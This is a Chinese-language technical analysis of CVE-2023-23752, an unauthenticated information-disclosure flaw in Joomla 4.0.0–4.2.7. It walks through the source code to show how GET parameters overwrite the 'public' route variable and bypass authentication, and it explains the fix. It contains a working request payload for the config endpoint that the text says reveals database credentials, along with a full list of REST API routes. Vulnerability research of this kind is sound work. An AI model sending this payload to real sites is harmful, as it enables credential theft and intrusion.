Joomla:开源CMS三巨头之一,是一套全球知名的内容管理系统,该系统使用PHP语言与MySQL数据库开发,可以在Linux、Windows、MacOSX等各种不同的平台上运行。
漏洞编号:CVE-2023-23752
攻击者可以通过构造特制请求进而访问RestAPI接口,通过变量覆盖漏洞绕过鉴权,从而获取Joomla相关配置信息。
受影响的版本:4.0.0 ~ 4.2.7
存在漏洞的路由为Rest API,Rest API于4.x正式开发
https://downloads.joomla.org/cms/joomla4/4-2-7/Joomla_4-2-7-Stable-Full_Package.zip?format=zip
环境配置:Nginx 1.15.11 + Mysql 5.7.26 + PHP 7.3.4ntsPayload格式:http://servername/api/index.php/路由路径?public=true/api/index.php/v1/config/application?public=true:此API用于获取网站最重要的配置信息,其中包含数据库的账号与密码v1/banners
v1/banners/:id
v1/banners
v1/banners/:id
v1/banners/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories/:id
v1/banners/:id/contenthistory
v1/banners/:id/contenthistory/keep
v1/banners/:id/contenthistory
v1/config/application
v1/config/application
v1/config/:component_name
v1/config/:component_name
v1/contacts/form/:id
v1/contacts
v1/contacts/:id
v1/contacts
v1/contacts/:id
v1/contacts/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories/:id
v1/contacts/:id/contenthistory
v1/contacts/:id/contenthistory/keep
v1/contacts/:id/contenthistory
v1/content/articles
v1/content/articles/:id
v1/content/articles
v1/content/articles/:id
v1/content/articles/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories/:id
v1/content/articles/:id/contenthistory
v1/content/articles/:id/contenthistory/keep
v1/content/articles/:id/contenthistory
v1/extensions
v1/languages/content
v1/languages/content/:id
v1/languages/content
v1/languages/content/:id
v1/languages/content/:id
v1/languages/overrides/search
v1/languages/overrides/search/cache/refresh
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB/:id
v1/languages
v1/languages
v1/media/adapters
v1/media/adapters/:id
v1/media/files
v1/media/files/:path/
v1/media/files/:path
v1/media/files
v1/media/files/:path
v1/media/files/:path
v1/menus/site
v1/menus/site/:id
v1/menus/site
v1/menus/site/:id
v1/menus/site/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items/:id
v1/menus/site/items/types
v1/menus/administrator/items/types
v1/messages
v1/messages/:id
v1/messages
v1/messages/:id
v1/messages/:id
v1/modules/types/site
v1/modules/types/administrator
v1/modules/site
v1/modules/site/:id
v1/modules/site
v1/modules/site/:id
v1/modules/site/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories/:id
v1/plugins
v1/plugins/:id
v1/plugins/:id
v1/privacy/requests
v1/privacy/requests/:id
v1/privacy/requests/export/:id
v1/privacy/requests
v1/privacy/consents
v1/privacy/consents/:id
v1/privacy/consents/:id
v1/redirects
v1/redirects/:id
v1/redirects
v1/redirects/:id
v1/redirects/:id
v1/tags
v1/tags/:id
v1/tags
v1/tags/:id
v1/tags/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator/:id
v1/users
v1/users/:id
v1/users
v1/users/:id
v1/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels/:id
造成未授权的接口为Rest API接口,其对应的路由为:/api/index.php我们在/api/index.php下个断点开始debugpublic function execute()
{
try {
# 过滤用户传参
$this->sanityCheckSystemVariables();
$this->setupLogging();
$this->createExtensionNamespaceMap();
# 执行应用程序
$this->doExecute();
# 渲染模板对象
if ($this->document instanceof JoomlaCMSDocumentDocument) {
// Render the application output.
$this->render();
}
# 处理gzip压缩输出
...
} catch (Throwable $throwable) {
# 错误处理
}
# 触发onBeforeRespond事件
$this->getDispatcher()->dispatch('onBeforeRespond');
# 发送程序响应信息
$this->respond();
# 触发onAfterRespond事件
$this->getDispatcher()->dispatch('onAfterRespond');
}
可以看出$this->doExecute();中已经处理了后端数据,得到模板对象/响应信息了protected function doExecute()
{
# 初始化应用程序
$this->initialiseApp();
# 在profiler中标记afterInitialise
JDEBUG ? $this->profiler->mark('afterInitialise') : null;
# 处理路由
$this->route();
# 在profiler中标记afterApiRoute
JDEBUG ? $this->profiler->mark('afterApiRoute') : null;
# 分发应用程序
$this->dispatch();
# 在profiler中标记afterDispatch
JDEBUG ? $this->profiler->mark('afterDispatch') : null;
}
发现了处理路由的逻辑$this->route();,我们跟进protected function route()
{
...
try {
$this->handlePreflight($method, $router);
$route = $router->parseApiRoute($method); # 解析API路由
} catch (RouteNotFoundException $e) {
$caught404 = true;
}
...
# 鉴权
if (!isset($route['vars']['public']) || $route['vars']['public'] === false) {
if (!$this->login(['username' => ''], ['silent' => true, 'action' => 'core.login.api'])) {
throw new AuthenticationFailed();
}
}
}
先解析API路由,然后继续鉴权操作,先跟进解析API路由的方法public function parseApiRoute($method = 'GET')
{
$method = strtoupper($method); # value: "GET"
$validMethods = ["GET", "POST", "PUT", "DELETE", "HEAD", "TRACE", "PATCH"];
if (!in_array($method, $validMethods)) {
throw new InvalidArgumentException(sprintf('%s is not a valid HTTP method.', $method));
}
# 从路由中获取路径,并删除开头或结尾的斜杠
$routePath = $this->getRoutePath();
# 获取GET传参,以键值对的方式存储在数组中
$query = Uri::getInstance()->getQuery(true);
# 遍历所有已知的路线以寻找匹配
foreach ($this->routes as $route) {
if (in_array($method, $route->getMethods())) {
if (preg_match($route->getRegex(), ltrim($routePath, '/'), $matches)) {
// 进入分支,则匹配成功
$vars = $route->getDefaults();
foreach ($route->getRouteVariables() as $i => $var) {
$vars[$var] = $matches[$i + 1];
}
$controller = preg_split("/[.]+/", $route->getController());
$vars = array_merge($vars, $query); # 将GET传参拼接到返回数组['vars']中
return [
'controller' => $controller[0],
'task' => $controller[1],
'vars' => $vars
];
}
}
}
throw new RouteNotFoundException(sprintf('Unable to handle request for route `%s`.', $routePath));
}
调试的时候,需要传递一个已有路由才能进入分支,比如: /api/index.php/v1/banners我们可以控制$vars的值,也就是说在解析路由的位置存在一个变量覆盖漏洞if (!isset($route['vars']['public']) || $route['vars']['public'] === false) {
if (!$this->login(['username' => ''], ['silent' => true, 'action' => 'core.login.api'])) {
throw new AuthenticationFailed();
}
}
因为$route['vars']可控,所以我们可以通过传递GET传参将public原有值覆盖掉,然后将其设定为true,将不会进行身份认证变量覆盖漏洞的修复方式比较简单,如果是覆盖已有变量造成危害,则在存在变量覆盖的函数前判断变量是否已经存在
如果像这种,是因为变量覆盖新增了一个用于鉴权的变量,则在变量覆盖函数之后,将对应的变量释放掉即可
可以看到,在存在变量覆盖的路由解析方法调用之后,unset掉了用于鉴权的变量,这样就无法通过变量覆盖绕过鉴权了